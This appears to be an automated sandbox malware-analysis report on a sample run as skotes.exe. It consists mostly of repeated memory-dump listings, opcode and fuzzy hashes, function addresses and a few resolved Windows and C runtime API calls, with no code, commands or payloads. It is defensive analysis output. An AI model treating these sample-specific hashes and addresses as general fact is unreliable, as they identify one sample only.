Associated: 00000000.00000002.1779633467.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779800731.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779910944.000000000108C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779925540.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779944332.0000000001098000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779961426.000000000109F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779981102.00000000010B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779998878.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780054786.00000000010BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780122460.00000000010CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780156672.00000000010E4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780248371.00000000010E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780280361.00000000010E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780327254.00000000010ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780364253.00000000010EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780380278.00000000010F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780395365.00000000010F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780415201.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780436121.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780458186.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780480490.0000000001101000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780499906.0000000001103000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780522267.0000000001104000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780542128.0000000001108000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780559734.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780578915.0000000001110000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780598816.0000000001118000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780617934.0000000001119000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780636324.000000000111A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780656084.0000000001122000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780844785.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.000000000115F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781180761.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781196832.000000000118C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781215404.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781232042.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781254343.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 107d722b8b7fb9071b4256df2394e94b16a4abe2837ebddde0b2b5c647960a3f
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 67115E7B6001CD43E60C862FCAB45F7A395EBC53297EC6376C84D7B748DA23D8419608

Function 00EDA302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1779397072.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1779306671.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779397072.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779477652.0000000000F09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779495653.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779514476.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779633467.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779800731.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779910944.000000000108C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779925540.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779944332.0000000001098000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779961426.000000000109F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779981102.00000000010B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779998878.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780054786.00000000010BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780122460.00000000010CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780156672.00000000010E4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780248371.00000000010E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780280361.00000000010E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780327254.00000000010ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780364253.00000000010EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780380278.00000000010F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780395365.00000000010F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780415201.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780436121.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780458186.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780480490.0000000001101000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780499906.0000000001103000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780522267.0000000001104000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780542128.0000000001108000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780559734.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780578915.0000000001110000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780598816.0000000001118000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780617934.0000000001119000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780636324.000000000111A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780656084.0000000001122000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780844785.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.000000000115F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781180761.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781196832.000000000118C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781215404.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781232042.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781254343.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: b77eeec08d7eae099449e98530c841e74bc765b848558026d91d5434716be57e
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: EAE08C32921228EBCB14DB98CA0498EF3EDEB49B00B6910A7F501E3250C270DF01C7D0

Function 00EA2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00EA2F5F
GetCurrentThreadId.KERNEL32 ref: 00EA2F7E
__Mtx_unlock.LIBCPMT ref: 00EA2FCC
__Cnd_broadcast.LIBCPMT ref: 00EA2FE3
__Mtx_unlock.LIBCPMT ref: 00EA30F5
GetCurrentThreadId.KERNEL32 ref: 00EA3132
__Mtx_unlock.LIBCPMT ref: 00EA319B

Memory Dump Source

Source File: 00000000.00000002.1779397072.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1779306671.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779397072.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779477652.0000000000F09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779495653.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779514476.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779633467.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779800731.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779910944.000000000108C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779925540.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779944332.0000000001098000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779961426.000000000109F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779981102.00000000010B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779998878.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780054786.00000000010BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780122460.00000000010CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780156672.00000000010E4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780248371.00000000010E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780280361.00000000010E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780327254.00000000010ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780364253.00000000010EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780380278.00000000010F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780395365.00000000010F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780415201.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780436121.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780458186.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780480490.0000000001101000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780499906.0000000001103000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780522267.0000000001104000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780542128.0000000001108000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780559734.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780578915.0000000001110000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780598816.0000000001118000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780617934.0000000001119000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780636324.000000000111A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780656084.0000000001122000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780844785.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.000000000115F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781180761.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781196832.000000000118C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781215404.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781232042.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781254343.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: e01cb01ad53452e23bb0bf032051fdf9bd0ac723b4240d9b955777e220304ac1
Instruction ID: 36c64e9f61626635e577c28db3316d81de933305ab451aba2af971967b39d51e
Opcode Fuzzy Hash: e01cb01ad53452e23bb0bf032051fdf9bd0ac723b4240d9b955777e220304ac1
Instruction Fuzzy Hash: 23A1C170A056059FDB20DBB4C945B9BB7E8FF1A318F145129F815FB251EB31EA04CB91

Function 00EDCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00EDCC66

Strings

v, xrefs: 00EDCBE1

Memory Dump Source

Source File: 00000000.00000002.1779397072.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1779306671.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779397072.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779477652.0000000000F09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779495653.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779514476.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779633467.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779800731.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779910944.000000000108C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779925540.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779944332.0000000001098000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779961426.000000000109F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779981102.00000000010B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779998878.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780054786.00000000010BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780122460.00000000010CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780156672.00000000010E4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780248371.00000000010E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780280361.00000000010E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780327254.00000000010ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780364253.00000000010EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780380278.00000000010F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780395365.00000000010F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780415201.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780436121.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780458186.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780480490.0000000001101000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780499906.0000000001103000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780522267.0000000001104000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780542128.0000000001108000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780559734.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780578915.0000000001110000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780598816.0000000001118000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780617934.0000000001119000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780636324.000000000111A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780656084.0000000001122000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780844785.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.000000000115F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781180761.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781196832.000000000118C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781215404.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781232042.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781254343.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v
API String ID: 3213747228-1361604894
Opcode ID: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction ID: 163fdb54c6cba91d0546af17efc3c13ad04d3eca3979e4ae30cac8b01d202eab
Opcode Fuzzy Hash: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction Fuzzy Hash: EDB122729042869FDB158F68C8817BEBBE6EF45384F24916BE955FB342D6348D03CB60

Function 00EBBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00EBBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00EBBBE4
_xtime_get.LIBCPMT ref: 00EBBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00EBBC13

Memory Dump Source

Source File: 00000000.00000002.1779397072.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1779306671.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779397072.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779477652.0000000000F09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779495653.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779514476.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779633467.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779800731.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779910944.000000000108C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779925540.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779944332.0000000001098000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779961426.000000000109F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779981102.00000000010B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779998878.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780054786.00000000010BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780122460.00000000010CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780156672.00000000010E4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780248371.00000000010E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780280361.00000000010E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780327254.00000000010ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780364253.00000000010EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780380278.00000000010F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780395365.00000000010F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780415201.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780436121.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780458186.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780480490.0000000001101000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780499906.0000000001103000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780522267.0000000001104000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780542128.0000000001108000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780559734.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780578915.0000000001110000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780598816.0000000001118000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780617934.0000000001119000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780636324.000000000111A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780656084.0000000001122000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780844785.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.000000000115F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781180761.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781196832.000000000118C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781215404.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781232042.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781254343.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 66f7fb38f209daf1548e2f8c7c03b46276a25a60f0d3293002549c0aad53d9bd
Instruction ID: 613ba143b7c4b73e91abe7cadfaac4627b55feeef3d606ec61a6fdc5800c4b3f
Opcode Fuzzy Hash: 66f7fb38f209daf1548e2f8c7c03b46276a25a60f0d3293002549c0aad53d9bd
Instruction Fuzzy Hash: B8211B71A04219AFDF00EFA4D8869FFBBB9EF48714F205065F901B7261DB709D019BA0

Analysis Process: skotes.exePID: 7528, Parent PID: 7336COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	612
Total number of Limit Nodes:	4

Executed Functions

Function 001B652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,001B652A,?,?,?,?,?,001B7661), ref: 001B6567

Memory Dump Source

Source File: 00000001.00000002.1811462151.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000001.00000002.1811442623.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811462151.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811511921.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811524932.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811541135.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811631207.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811645568.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811689021.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811702031.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811715889.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811728998.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811747661.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811761471.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811776341.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811792409.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811810482.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811828155.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811842275.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811857268.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811872929.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811888306.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
